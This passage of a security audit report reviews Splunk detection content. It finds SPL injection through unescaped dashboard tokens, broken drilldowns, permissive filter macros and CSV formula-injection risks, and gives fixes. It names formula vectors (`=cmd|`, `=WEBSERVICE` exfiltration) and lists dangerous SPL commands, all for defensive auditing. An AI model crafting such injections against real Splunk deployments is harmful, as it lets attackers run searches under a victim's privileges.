Description: These drilldowns contain a stray leading quote and a malformed field expression — `| search  "$user = "$user$"` (note the leading `"` and `$user` without closing `$`). The rendered drilldown is syntactically broken SPL; the pivot will error or return nothing, and one even has a typo `$Suser`. This is a quality/defense-in-depth defect: the primary detection still fires, but the analyst drilldown is dead. (These are also the 25 `a_unbalanced_quotes` hits that are genuine, versus the ~false-positive hits from escaped `\\` regex which I confirmed benign, e.g.

detect_baron_samedit_cve_2021_3156.yml:11.) **Untrusted-input reachability**: Not attacker-reachable; broken analyst UX. Verdict: **Not exploitable** (quality defect). **Remediation**: Fix to `| search user=$user|s$` (and `src=$src|s$`, `host=$host|s$`), removing the stray quote and using the `|s` modifier (also fixes DET-05 for these). Add a contentctl lint that compiles drilldown SPL / checks `$`-delimiter balance (the schema already validates balance for `EsTokenString` risk messages but evidently not for drilldown `search`).

Standards mapping.

CWE: CWE-628; CWE-1078. **OWASP Top 10 2021:** A09:2021 Security Logging and Monitoring Failures. **NIST SP 800-53r5:** SI-4 System Monitoring. **NIST CSF 2.0:** DE.CM Detect - Continuous Monitoring. **ISO/IEC 27001:2022:** A.8.16 Monitoring activities. **SANS Secure Coding Practice:** Detection content / General Coding Practices.

DET-12 — map subsearches with non-attacker-controlled $token$ substitution (defence-in-depth)

Severity: Low (CVSS v3.1 base 2.6). Exploitability: Not exploitable (defence-in-depth).

Location. detections/endpoint/windows_ad_domain_controller_promotion.yml:19; windows_ad_replication_request_initiated_by_user_account.yml:20; windows_ad_replication_request_initiated_from_unsanctioned_location.yml:23; windows_ad_short_lived_domain_controller_spn_attribute.yml:22; windows_ad_suspicious_attribute_modification.yml:17; detections/application/splunk_rce_through_arbitrary_file_write_to_windows_system_root.yml:21

Description: Same unquoted-`map`-substitution mechanism as DET-02, but the substituted tokens here are `TargetLogonId` (a numeric Windows logon id), `_time`-derived values, and `user` from `_internal` — not freely attacker-chosen strings, so practical injection is implausible. Still, the tokens are not `|s`-quoted; flagged as defense-in-depth consistency with the DET-02/DET-05 remediation.

- **Verdict**: **Not exploitable** (defense-in-depth). **Remediation**: apply `$TargetLogonId|s$`, `$api_user|s$` quoting for uniformity; prefer `join`/`stats` over `map`.

Standards mapping.

CWE: CWE-116 Improper Encoding or Escaping of Output. **OWASP Top 10 2021:** A03:2021 Injection. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** Detection content / Output Encoding.

DET-09 — Drilldown tokens not produced by the detection search (102 dead pivots)

Severity: Low (CVSS v3.1 base 2.3). Exploitability: Not exploitable (quality).

Location. detections/endpoint/detect_empire_with_powershell_script_block_logging.yml:34-39; detections/cloud/aws_exfiltration_via_bucket_replication.yml:28,32 (+100 more)

Description: The drilldown substitutes a field the search doesn't yield, so the pivot resolves the token to empty and returns a useless/over-broad search. Low-impact UX/efficacy defect.

- **Verdict**: **Not exploitable** (quality). **Remediation**: align drilldown tokens with produced fields (rename `dest`→`Computer` in the base search or change the drilldown to `$dest$`); contentctl could validate drilldown tokens against the search's output field set.

Standards mapping.

CWE: CWE-1078. **OWASP Top 10 2021:** A09:2021 Security Logging and Monitoring Failures. **NIST CSF 2.0:** DE.CM Detect - Continuous Monitoring. **ISO/IEC 27001:2022:** A.8.16 Monitoring activities. **SANS Secure Coding Practice:** Detection content / General Coding Practices.

DET-13 — Cleartext http:// references and malformed references in shipped content

Severity: Informational (no CVSS score (informational)). Exploitability: Not exploitable.

Location. detections/cloud/aws_lambda_updatefunctioncode.yml:25; detections/web/web_remote_shellservlet_access.yml:25; detections/endpoint/windows_nirsoft_utilities.yml:39; stories/suspicious_dns_traffic.yml:11-12; stories/apache_struts_vulnerability.yml:9 (22 refs; 7 stories without references)

Description: Cleartext-HTTP reference links (downgrade/MITM of a clicked link) and documentation hygiene. `deprecated/yaml-spec/stories_spec.yml` is itself invalid YAML (fails `safe_load` at line 43). No `http://` appears in any executable `search`/`data_source`/`attack_data` field — all attack_data URLs are HTTPS (see DET-14).

- **Verdict**: **Not exploitable**. **Remediation**: upgrade refs to `https://`, fix malformed narrative URLs, add missing `references`, fix `stories_spec.yml`. **Mappings**: CWE-319 Cleartext Transmission (links); OWASP A02; NIST 800-53 SC-8; ISO 27001 A.8.24.

Standards mapping.

CWE: CWE-319 Cleartext Transmission of Sensitive Information. **OWASP Top 10 2021:** A02:2021 Cryptographic Failures. **NIST SP 800-53r5:** SC-8 Transmission Confidentiality and Integrity. **ISO/IEC 27001:2022:** A.8.24 Use of cryptography. **SANS Secure Coding Practice:** Detection content / Communication Security.

DET-14 — 66 production detections validated only by disabled manual tests (attack_data provenance otherwise clean)

Severity: Informational (no CVSS score (informational)). Exploitability: Test-coverage gap.

Location. detections/**/*.yml tests (e.g. detections/cloud/aws_multiple_users_failing_to_authenticate_from_ip.yml:61)

- **Location / facts**: All **2,154** `attack_data.data` URLs point to `https://media.githubusercontent.com/media/splunk/attack_data/...` (Git-LFS of the official splunk/attack_data repo) — **zero** `http://`, personal-repo, or S3 URLs. `contentctl.yml` confirms the single configured cache base. 2,056 tests are `unit`; **66 production detections carry `experimental`/"PORTED MANUAL TEST"** tests that do not run automatically (list in `scratchpad/work/det/out/rules/e_manual_or_experimental_test.txt`, e.g. the cloud "previously unseen" family, `aws_multiple_users_failing_to_authenticate_from_ip.yml:61`), i.e. shipped production logic validated only manually. 103 detections have **no `tests` key** — all are `status: experimental` (102) or `deprecated` (1); no production detection lacks tests.
- **Verdict**: Good supply-chain hygiene on attack_data; the gap is 66 production detections whose automated test is disabled (coverage/regression risk). **Remediation**: convert "PORTED MANUAL TEST" to runnable unit/integration tests or down-rank the detections to experimental; ensure CI fails if a production detection has only an experimental test. **Mappings**: CWE-1053 Missing Documentation / test gap; OWASP A09; NIST 800-53 SA-11; ISO 27001 A.8.29.

Standards mapping.

CWE: CWE-1053. **OWASP Top 10 2021:** A09:2021 Security Logging and Monitoring Failures. **NIST SP 800-53r5:** SA-11 Developer Testing and Evaluation. **NIST CSF 2.0:** ID.IM Identify - Improvement. **ISO/IEC 27001:2022:** A.8.29 Security testing in development and acceptance. **SANS Secure Coding Practice:** Detection content / General Coding Practices.

DET-15 — Deprecated and removed content remains in tree; contentctl excludes it from live searches (positive control)

Severity: Informational (no CVSS score (informational)). Exploitability: Not exploitable (correctly excluded).

Location. detections/deprecated/ (3); removed/ (377)

- **Facts**: `detections/deprecated/` = 3 files `status: deprecated` with `deprecation_info.removed_in_version: 6.8.0` (current app `6.6.0`); `removed/` = 377 files `status: removed`. Verified against contentctl 5.6.1: `RemovedSecurityContentObject` narrows status to `removed` and is collected into a deprecation mapping/lookup; `savedsearches_detections.j2` emits a single disabled default stanza `disabled = 1 ... search = | makeresults | eval text = "This search was removed..."` for removed content, and deprecated detections ship with a `DEPRECATED_TEMPLATE` banner and `deprecated=1`. So removed/deprecated content is **not** shipped as runnable detections. The only occurrences of truly dangerous SPL verbs (`| delete`, `| sendemail`, `| sendalert`, `| script`, `| rest`, `| collect`, `| outputcsv`) are inside `removed/detections/splunk_command_and_scripting_interpreter_*` and `removed/detections/splunk_*` — and even there they sit inside string literals of meta-detections (searches that *hunt for* risky SPL) or Splunk-internal `| rest` introspection, not executed as destructive operations, and they are removed from the build regardless.
- **Verdict**: **Not exploitable** (inert; correctly excluded). **Remediation**: optional repo hygiene — the physical `removed/`/`deprecated/` trees remain in the checkout; confirm the packaging step (`dist/`) excludes them so they are not redistributed. **Mappings**: OWASP A05; NIST 800-53 CM-2; ISO 27001 A.8.19.

Standards mapping.

CWE: . **OWASP Top 10 2021:** A05:2021 Security Misconfiguration. **NIST SP 800-53r5:** CM-2 Baseline Configuration. **ISO/IEC 27001:2022:** A.8.19 Installation of software on operational systems. **SANS Secure Coding Practice:** Detection content / System Configuration.

DET-18 — Playbook metadata references non-existent or mismatched JSON filenames

Severity: Informational (no CVSS score (informational)). Exploitability: Not exploitable (packaging consistency).

Location. playbooks/G_Suite_for_GMail_Message_Identifier_Activity_Analysis.yml; playbooks/Zscaler_Outbound_Traffic_Filtering.yml; playbooks/MS_Graph_for_Office_365_Search_and_Purge.json:588

- **Verdict**: **Not exploitable** (build/packaging consistency). **Remediation**: fix the `playbook:` field to match the on-disk JSON basename exactly; add a CI check that every `playbooks/*.yml`'s `playbook` has a matching `.json`. **Mappings**: CWE-1078; OWASP A05; NIST 800-53 CM-2.

Standards mapping.

CWE: CWE-1078. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration. **NIST SP 800-53r5:** CM-2 Baseline Configuration. **ISO/IEC 27001:2022:** A.8.9 Configuration management. **SANS Secure Coding Practice:** Detection content / General Coding Practices.

DET-19 — Detection identifiers unique; 127 detections with empty data_source (schema conformance otherwise clean)

Severity: Informational (no CVSS score (informational)). Exploitability: Not exploitable.

Location. detections/application/splunk_authentication_token_exposure_in_debug_log.yml:14; detections/cloud/aws_s3_exfiltration_behavior_identified.yml (127 files)

- **Facts**: Across 2,169 detections + 41 baselines + 377 removed + 365 stories: **no duplicate `id` UUIDs** and **no duplicate `name`s** (collision would cause content overwrite — none found). All `id`s are valid UUIDs except the deprecated spec doc `deprecated/yaml-spec/detection_spec.yml` (a template, not content). 127 production/experimental detections have **empty `data_source: []`** (e.g. `detections/application/splunk_authentication_token_exposure_in_debug_log.yml:14`, `detections/cloud/aws_s3_exfiltration_behavior_identified.yml`, `o365_bec_email_hiding_rule_created.yml`) — a metadata/traceability gap, not a vuln.
- **Verdict**: **Not exploitable**. **Remediation**: populate `data_source` for the 127 detections (full list in `scratchpad/work/det/out/rules/i_empty_data_source.txt`). **Mappings**: CWE-1053; OWASP A09; ISO 27001 A.8.29.

Standards mapping.

CWE: CWE-1053. **OWASP Top 10 2021:** A09:2021 Security Logging and Monitoring Failures. **NIST CSF 2.0:** ID.AM Identify - Asset Management. **ISO/IEC 27001:2022:** A.8.29 Security testing in development and acceptance. **SANS Secure Coding Practice:** Detection content / General Coding Practices.

4.4 App Template, Dashboards, Lookups and Macros

This area produced 13 unique findings: 2 Medium, 8 Low, 3 Informational.

APP-01 — SPL injection via weakly-quoted dashboard token $story$ (ESCU summary dashboard)

Severity: Medium (CVSS v3.1 base 6.1). Exploitability: Conditionally exploitable (victim opens crafted URL).

Location. app_template/default/data/ui/views/escu_summary.xml:157-158,177

Severity: Medium — CVSS v3.1 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Location: `app_template/default/data/ui/views/escu_summary.xml:177` (token source: input at lines 143-160, prefix/suffix at 157-158). Excerpt:

```
157      <prefix>"</prefix>
158      <suffix>"</suffix>
...
177        | search analytic_story=  $story$
```

Description: The `story` dropdown token is placed into an SPL `search` command. The only sanitization is a literal-quote `<prefix>"</prefix>`/`<suffix>"</suffix>` wrapper. Simple XML prefix/suffix are string concatenation, not escaping: if the token value itself contains a double-quote, the attacker closes the intended quoted string and appends arbitrary SPL. Because dashboard

tokens can be seeded from the URL (`?form.story=...`), a victim who is tricked into clicking a crafted link runs the injected SPL with **their own** Splunk role/search privileges (a CSRF-style search-under-victim pattern).

Untrusted-input reachability: Source = URL/form token `form.story` → Sink = `| search ... $story$` (SPL parser). The prefix/suffix `"` is bypassable by embedding a `"` in the supplied value, so the wrapper does not contain the value. **Verdict: Conditionally exploitable** (requires the victim to open an attacker-crafted dashboard URL and have search privileges; no new privilege is gained beyond what the victim already holds, hence S:C / C:L / I:L for read-and-tamper of searchable data).

PoC (defensive description, not run against any host): Supplying a `story` value that contains a double-quote closes the wrapper and begins a new piped command. Conceptually the composed search becomes `... | search analytic_story= "<value-with-embedded-quote>" <attacker SPL> "`. An attacker can thereby append a reporting/subsearch command to read data the victim can see (e.g. enumerate saved searches or users) or, if the victim has write-capable commands, chain a lookup-writing command. Impact is bounded by the victim's capabilities. No live exploitation was performed; the breakout is demonstrated by the fact that the token value is concatenated, not escaped.

Remediation (full fixed code + explanation): Replace the manual prefix/suffix quoting with Splunk's built-in safe quote filter `|s`, which escapes embedded quotes/backslashes so the value can never terminate the string or introduce new commands:

```
<!-- remove lines 157-158 prefix/suffix entirely, then at line 177: -->
| search analytic_story=$story|s$
```

`$token|s$` emits a properly double-quoted, escaped SPL string literal. Additionally, constrain the input to a `<choice>`-only dropdown (no free-text) so arbitrary values cannot be typed, and avoid seeding the token from the URL via `form.` unless validated. Explanation: `|s` makes the value data, not code; the dropdown and URL-seed constraints reduce the reachable input surface.

Mappings: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic); related CWE-89 family (2024 CWE Top 25 rank #3, Injection class). OWASP Top 10 2021 A03:2021 Injection. ASVS v4 5.3.4 / 5.3.6 (query/command injection defenses). ATT&CK T1059 (Command and Scripting Interpreter), T1552 (search of accessible data). NIST 800-53 Rev5 SI-10 (Information Input Validation), AC-4. NIST CSF 2.0 PR.PS-06 / PR.DS. ISO 27001:2022 Annex A 8.28 (Secure coding), 8.9. SANS/CERT: CERT IDS00/neutralize injection; SANS Top 25 Injection. Language best practice: Splunk Dashboards "Token filters" documentation (`|s` safe-quote).

Standards mapping.

CWE: CWE-943 Improper Neutralization of Special Elements in Data Query Logic; CWE-89 SQL Injection (2024 CWE Top 25 #3). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059 Command and Scripting Interpreter. **NIST SP 800-53r5:** SI-10 Information Input Validation, AC-4. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** Splunk app and dashboards / Output Encoding.

APP-02 — SPL injection via unquoted $policyname$/$eventcode$ tokens with auto-run on load (AppLocker dashboard)

Severity: Medium (CVSS v3.1 base 6.1). Exploitability: Exploitable (victim opens crafted URL; auto-submit).

Location. dashboards/applocker.json:27,163,294,303-304

Severity: Medium — CVSS v3.1 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`

Location: `dashboards/applocker.json:27` (token inputs: `policyname` dropdown line 163, `eventcode` dropdown line 294; layout `submitButton: true`, `submitOnDashboardLoad: true` lines 303-304). Excerpt (query, line 27):

```
"query": "`applocker`\n| spath input=UserData_Xml | rename RuleAndFileData.* as *\n|
lookup applockereventcodes EventCode OUTPUT Description\n|  search
PolicyName=$policyname$ EventCode=$eventcode$\n| stats values(host) AS dest by ..."
```

Description: A Dashboard Studio (JSON) search inlines two tokens directly into an SPL `search` command with **no** `|s` filter and no quoting at all. Unlike APP-01 there is not even a prefix/suffix wrapper, so any character — pipe, double-quote, bracket — passes straight into the SPL parser. The dashboard sets `submitOnDashboardLoad: true`, so a crafted URL that seeds `form.policyname` / `form.eventcode` executes the injected search automatically on page load, without the victim clicking "Submit".

Untrusted-input reachability: Source = URL token `form.policyname` / `form.eventcode` → Sink = `| search PolicyName=$policyname$ EventCode=$eventcode$`. No escaping present. `submitOnDashboardLoad: true` removes the interaction barrier. **Verdict: Exploitable** (within the victim's own privileges; victim must open the link — UI:R).

PoC (defensive description, not run against any host): A token value containing a space and a pipe terminates the `search` arguments and starts a new command, e.g. the composed pipeline becomes `... | search PolicyName=* <attacker SPL> EventCode=...`. Because the panel auto-runs on load, merely opening the crafted dashboard URL triggers it. Impact is bounded by the victim's capabilities (read of searchable data; tampering only if the victim can run write commands). No live request was issued.

Remediation (full fixed code + explanation): Quote both tokens with `|s`:

```
|  search  PolicyName=$policyname|s$ EventCode=$eventcode|s$
```

Also prefer `submitOnDashboardLoad: false` for dashboards whose panels consume URL-seedable tokens, and restrict inputs to enumerated dropdown choices. Explanation: `|s` escapes and quotes each value so it is parsed as a single literal; disabling auto-run restores the user-intent barrier.

Mappings: CWE-943 / CWE-89 family (2024 CWE Top 25 #3). OWASP A03:2021 Injection. ASVS v4 5.3.4. ATT&CK T1059. NIST 800-53 Rev5 SI-10, AC-4. NIST CSF 2.0 PR.PS-06. ISO 27001:2022 A.8.28. SANS/CERT IDS00. Best practice: Splunk Dashboard Studio token filters (`|s`).

Standards mapping.

CWE: CWE-943 Improper Neutralization of Special Elements in Data Query Logic; CWE-89 SQL Injection (2024 CWE Top 25 #3). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059 Command and Scripting Interpreter. **NIST SP 800-53r5:** SI-10 Information Input Validation, AC-4. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** Splunk app and dashboards / Output Encoding.

APP-08 — default.meta exports all knowledge objects system-wide with admin/sc_admin write (tampering surface)

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Conditionally exploitable (privileged insider).

Location. app_template/metadata/default.meta:3-4,7,13-14

Severity: Low — CVSS v3.1 3.1 — `AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N`

Location: `app_template/metadata/default.meta:3-4,7,13-14`. Excerpt:

```
3    access = read : [ * ], write : [ admin, sc_admin ]
4    export = system
7    [savedsearches]
7      owner = admin
13   [savedsearches/default]
14     export = none
```

Description: The default stanza exports all app knowledge objects to `system` scope (visible to the whole Splunk deployment) and grants write to the `admin` and `sc_admin` roles. Export=system means any detection/macro/lookup object is readable deployment-wide. Write is **not** world-writable (it is limited to two privileged roles), which materially limits the stored-content-tampering risk: an actor must already hold `admin`/`sc_admin` to modify the shipped detections, macros, or lookups. The tampering risk to call out: because these roles can write the ESCU knowledge objects and those objects feed correlation searches and notable-event generation, a compromised admin/sc_admin account could silently weaken detections or poison lookup allow-lists (e.g. add their own host to a `kube_allowed_*` list) and the change would propagate deployment-wide via `export = system`. `savedsearches/default` is correctly scoped `export = none`.

Untrusted-input reachability: Requires an authenticated privileged role. **Verdict: Conditionally exploitable** (privileged-insider / post-compromise; not a remote-unauth path). Rated Low because write is already restricted to admin roles — this is the expected Splunk ACL model, noted for defense-in-depth and change-monitoring.

PoC: Read of the `.meta` ACL; no exploit — the finding is the trust/monitoring implication of wide export + shared write of security content.

Remediation: Keep write restricted (it already is). Add file-integrity / change monitoring on the ESCU knowledge bundle (lookups, macros, savedsearches) so that unexpected edits by admin/sc_admin are alerted on; consider narrowing `export = system` to the app context where feasible; separate duties so the role that tunes allow-lists is audited. Explanation: with write necessarily held by admins, the compensating control is detection of malicious change, not further ACL tightening.

Mappings: CWE-732 (Incorrect Permission Assignment for Critical Resource) analog; CWE-284 (Improper Access Control). OWASP A01:2021 Broken Access Control / A05 Misconfiguration. ASVS v4 4.1 / 1.4. ATT&CK T1562.001 (Impair Defenses: Disable/Modify Tools), T1098. NIST 800-53 Rev5 AC-3, AC-6, CM-5, AU-6, SI-7. NIST CSF 2.0 PR.AA / PR.PS / DE.CM. ISO 27001:2022 A.8.2, A.8.3, A.8.9. SANS/CERT: least privilege + integrity monitoring. Best practice: Splunk ACL / `.meta` least-exposure.

Standards mapping.

CWE: CWE-732 Incorrect Permission Assignment for Critical Resource; CWE-284 Improper Access Control. **OWASP Top 10 2021:** A01:2021 Broken Access Control, A05:2021 Security Misconfiguration. **MITRE ATT&CK:** T1562.001 Impair Defenses: Disable or Modify Tools, T1098 Account Manipulation. **NIST SP 800-53r5:** AC-3 Access Enforcement, AC-6 Least Privilege, CM-5 Access Restrictions for Change, SI-7 Software, Firmware, and Information Integrity. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control, DE.CM Detect - Continuous Monitoring. **ISO/IEC 27001:2022:** A.8.2 Privileged access rights, A.8.3 Information access restriction, A.8.9 Configuration management. **SANS Secure Coding Practice:** Splunk app and dashboards / Access Control.

APP-07 — Lookup CSV cells beginning with formula characters (export-boundary CSV injection surface only)

Severity: Low (CVSS v3.1 base 2.0). Exploitability: Conditionally exploitable (spreadsheet export).

Location. lookups/csv/cisco_secure_firewall_appid_remote_mgmt_and_desktop_tools.csv:318,320; scripting_tools_user_agents.csv:42; windows_suspicious_tasks.csv:13-14; char_conversion_matrix.csv

Severity: Low — CVSS v3.1 4.3 — `AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N` (realized only on spreadsheet export of lookup contents)

Location (exact cells):

- `lookups/csv/cisco_secure_firewall_appid_remote_mgmt_and_desktop_tools.csv:318` cell value `-Zoho Assist` (2nd column) and `:320` cell `- Zoom Meeting`.
- `lookups/csv/scripting_tools_user_agents.csv:42` cell `"-"` (quoted leading `-`).
- `lookups/csv/windows_suspicious_tasks.csv:13` cell `-encodedCommand *` and `:14` cell `-enc *`.
- `lookups/csv/char_conversion_matrix.csv` rows 11,45,47,63,64,66,258 contain `=`,`+`,`-`,`@`,`\t` as data (by design — ASCII/base64 conversion table).

Description: Several lookup CSV cells begin with a character that spreadsheet applications (Excel, LibreOffice Calc, Google Sheets) treat as a formula lead-in: `=`, `+`, `-`, `@`, tab, or carriage return (CWE-1236). If an operator opens a lookup CSV — or exports lookup contents / search results that echo these values — directly in a spreadsheet, a cell like `-encodedCommand *` is parsed as a formula. The dangerous historical consequence is DDE/formula execution (e.g. `=cmd|...`, `=HYPERLINK(...)`, data exfiltration via `=WEBSERVICE(...)`). In this repo the values are benign IOC strings, so the realistic risk is only if these values were ever re-exported to CSV and opened in Excel; the `char_conversion_matrix` entries are intentional table data.

Untrusted-input reachability: The cells are repo-controlled today (not attacker-written). The injection is realized only when the CSV/export is opened in a spreadsheet by a human. **Verdict: Conditionally exploitable** (requires spreadsheet export + open; low integrity impact to the analyst's workstation context).

PoC (sanitization demonstration, safe, local): A sanitizer that prefixes a single quote to any cell matching `^[=+\-@\t\r]` neutralizes formula interpretation while preserving display. Pseudocode of the fix applied to a copy (never to the repo, which is read-only):

```
import csv, re
DANGEROUS = re.compile(r'^[=+\-@\t\r]')
def sanitize(cell):
    return ("'" + cell) if DANGEROUS.match(cell) else cell
# read copy -> map sanitize over every cell -> write sanitized copy
```

Opening the sanitized copy in Excel shows `'-enc *` as the literal text `-enc *`, not a formula.

Remediation (full fix + explanation): Do not mutate the shipped lookups (they are Splunk data, where the leading `-`/`=` is legitimate content and Splunk does not evaluate it). Instead apply formula-injection defenses at the **export boundary**: any tooling/dashboard that exports lookup or result CSVs for spreadsheet consumption must prefix a `'` (or wrap/quote) cells beginning with `= + - @ TAB CR`, per OWASP CSV-injection guidance. Document that operators should import lookup CSVs as text,

not double-click them into Excel. Explanation: the vulnerability lives in the consumer (spreadsheet), so the control belongs at export/handoff, not in the Splunk-side data.

Mappings: CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). OWASP — "CSV Injection" (Testing Guide); A03:2021 Injection family. ASVS v4 5.3.x output encoding. ATT&CK T1059 (if formula spawns a shell via DDE). NIST 800-53 Rev5 SI-10, SC-18. NIST CSF 2.0 PR.PS-06. ISO 27001:2022 A.8.28. SANS/CERT: CERT output-encoding. Best practice: OWASP CSV Injection prevention.

Standards mapping.

CWE: CWE-1236 Improper Neutralization of Formula Elements in a CSV File. **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059 Command and Scripting Interpreter. **NIST SP 800-53r5:** SI-10 Information Input Validation, SC-18 Mobile Code. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** Splunk app and dashboards / Output Encoding.

APP-03 — Logic defect: missing leading pipe in remove_valid_domains subsearch

Severity: Low (no CVSS score (informational)). Exploitability: Not exploitable (correctness).

Location. macros/remove_valid_domains.yml:8

Severity: Low — CVSS v3.1 0.0 (availability/correctness defect, not a security-exploitable sink) — informational-security, functional impact.

Location: `macros/remove_valid_domains.yml:8`. Excerpt:

```
8    definition: 'eval domain=trim(domain,"*") | search NOT[| inputlookup domains]  NOT[ |
inputlookup cim_corporate_email_domain_lookup] NOT[inputlookup
cim_corporate_web_domain_lookup] | eval domain="*"+domain+"*"'
```

Description: The third subsearch `[inputlookup cim_corporate_web_domain_lookup]` is missing the leading pipe (`[| inputlookup ...]`). In SPL a subsearch that does not begin with a generating command is interpreted as a raw search over the current index/pipeline rather than running the lookup, so the corporate-web-domain exclusion silently fails to filter. This macro feeds `baselines/dnstwist_domain_names.yml`, which does `| outputlookup brandMonitoring_lookup`, so the brand-monitoring baseline can retain domains that should have been excluded (false positives / polluted lookup state).

Untrusted-input reachability: No external input reaches this; it is author-controlled content. **Verdict: Not exploitable** (correctness/data-quality defect).

PoC: Static analysis of the SPL; the first two subsearches use `| inputlookup`, the third omits it, so the three are not syntactically parallel.

Remediation:

```
definition: 'eval domain=trim(domain,"*") | search NOT [| inputlookup domains] NOT [|
inputlookup cim_corporate_email_domain_lookup] NOT [| inputlookup
cim_corporate_web_domain_lookup] | eval domain="*"+domain+"*"'
```

Add the leading pipe so all three subsearches run as generating `inputlookup` commands. Explanation: `[| inputlookup X]` returns the lookup rows for the `NOT` exclusion; without the pipe the bracket is a search filter and the exclusion is a no-op.

Mappings: CWE-670 (Always-Incorrect Control Flow Implementation) / CWE-480 (improper operator) analog. OWASP — N/A (not a web injection). ASVS v4 — N/A. NIST 800-53 Rev5 SA-11 (Developer Testing). NIST CSF 2.0 PR.PS-06. ISO 27001:2022 A.8.28. SANS/CERT: correctness review. Best practice: Splunk subsearch syntax (generating commands require leading pipe).

Standards mapping.

CWE: CWE-670. **OWASP Top 10 2021:** . **MITRE ATT&CK:** T1562.001 Impair Defenses: Disable or Modify Tools. **NIST SP 800-53r5:** SA-11 Developer Testing and Evaluation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** Splunk app and dashboards / General Coding Practices.

APP-04 — Over-broad placeholder filter macros (search *) and permissive shipped allow-lists

Severity: Low (no CVSS score (informational)). Exploitability: Detection-efficacy.

Location. macros/potential_password_in_username_false_positive_reduction.yml:8; macros/deprecated/prohibited_softwares.yml; macros/base64decode.yml:8; kube_allowed_*, aws_ecr_users*, excluded_cloud_binaries

Severity: Low — CVSS v3.1 N/A (defense-in-depth / content-governance)

Location (representative): `macros/potential_password_in_username_false_positive_reduction.yml:8` (`definition: search *`); `macros/deprecated/prohibited_softwares.yml` (`search *`); `macros/base64decode.yml:8` (`$b64in$` interpolated unquoted into `eval ... split($b64in$,"")`); numerous `_filter`/allow-list macros (`kube_allowed_*`, `aws_ecr_users*`, `excluded_cloud_binaries`, `cisco_isovalent_allowed_images`, etc.) shipping permissive defaults.

Description: A number of filter macros ship as `search *` (match everything — i.e. no filtering) or as allow-lists pre-populated with example/permissive values (`admin`, `United States`, `*splunk*`, `Helm/3.13.2`). These are intended customer-tuning stubs, but if deployed unchanged they neutralize the associated detection (a `search *` false-positive-reduction macro passes all events, and an over-broad allow-list suppresses true positives). `base64decode` interpolates the macro argument `$b64in$` directly into an `eval`/`rex`; the argument is author/detection-controlled (not end-user input), so it is a maintainability note rather than an injection sink. I confirmed no macro definition contains `outputlookup`, `collect`, `sendemail`, `delete`, `script`, `runshellscript`, `sendalert`, `map`, or `loadjob`, so there is no server-side side-effect sink in the macro set.

Untrusted-input reachability: Macro arguments are populated by detection YAML, not by end users. **Verdict: Not exploitable** as an injection; a detection-efficacy / secure-default concern.

PoC: Grep of macro definitions (`macros.txt`, `macros_dep.txt`) shows the `search *` defaults and the absence of write/side-effect commands.

Remediation: Replace `search *` stubs with a clearly-false default (e.g. `search index=__no_filter_configured__`) or document a required post-install tuning step; tighten shipped allow-lists to empty or narrowly-scoped examples; keep argument interpolation but document that macro args must be content-author controlled. Explanation: a secure default fails closed (detection stays active) rather than silently disabling itself.

Mappings: CWE-1188 (Insecure Default Initialization) / CWE-183 (permissive allow-list). OWASP A05:2021 Security Misconfiguration. ASVS v4 1.1 / 8.1. ATT&CK Defense Evasion T1562 (Impair Defenses) — the risk these guard against. NIST 800-53 Rev5 CM-6 (Configuration Settings), SI-4. NIST CSF 2.0 PR.PS-01. ISO 27001:2022 A.8.9 (Configuration management). SANS/CERT: secure defaults. Best practice: fail-closed detection content.

Standards mapping.

CWE: CWE-1188 Initialization of a Resource with an Insecure Default; CWE-183. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration. **MITRE ATT&CK:** T1562.001 Impair Defenses: Disable or Modify Tools. **NIST SP 800-53r5:** CM-6 Configuration Settings, SI-4 System Monitoring. **NIST CSF 2.0:** PR.PS Protect - Platform Security, DE.CM Detect - Continuous Monitoring. **ISO/IEC 27001:2022:** A.8.9 Configuration management. **SANS Secure Coding Practice:** Splunk app and dashboards / System Configuration.

APP-05 — Lookup WILDCARD match_type references a column absent from the CSV (suspicious_ports_list)

Severity: Low (no CVSS score (informational)). Exploitability: Not exploitable (config correctness).

Location. lookups/csv/suspicious_ports_list.yml:9-10

Severity: Low — CVSS v3.1 N/A (correctness / config defect)

Location: `lookups/csv/suspicious_ports_list.yml:9-10` vs `lookups/csv/suspicious_ports_list.csv` header. Excerpt (yml):

```
9    match_type:
10   - WILDCARD(file)
```

CSV header: `dest_port,comment,confidence,category` (no `file` column).

Description: The lookup definition declares `WILDCARD(file)` but the CSV has no `file` field. The match_type references a non-existent column, so the wildcard directive is inert (and at best a confusing/mis-copied definition). This will not throw a hard error but silently disables intended wildcard matching semantics on whatever field was meant.

Untrusted-input reachability: None. **Verdict: Not exploitable** (config correctness).

PoC: Compared `.yml` `match_type` to `.csv` header row (both read with `cat -n`).

Remediation: Point `match_type` at a column that exists (e.g. `WILDCARD(dest_port)` if wildcard port patterns are intended) or remove the directive if exact match is wanted. Validate lookup definitions against their CSV headers in CI.

Mappings: CWE-20 (Improper Input Validation) analog / CWE-665 (Improper Initialization). OWASP A05:2021. ASVS v4 1.1. NIST 800-53 Rev5 SA-11, CM-6. NIST CSF 2.0 PR.PS-06. ISO 27001:2022 A.8.9. Best practice: Splunk lookup definition / transforms.conf field consistency.

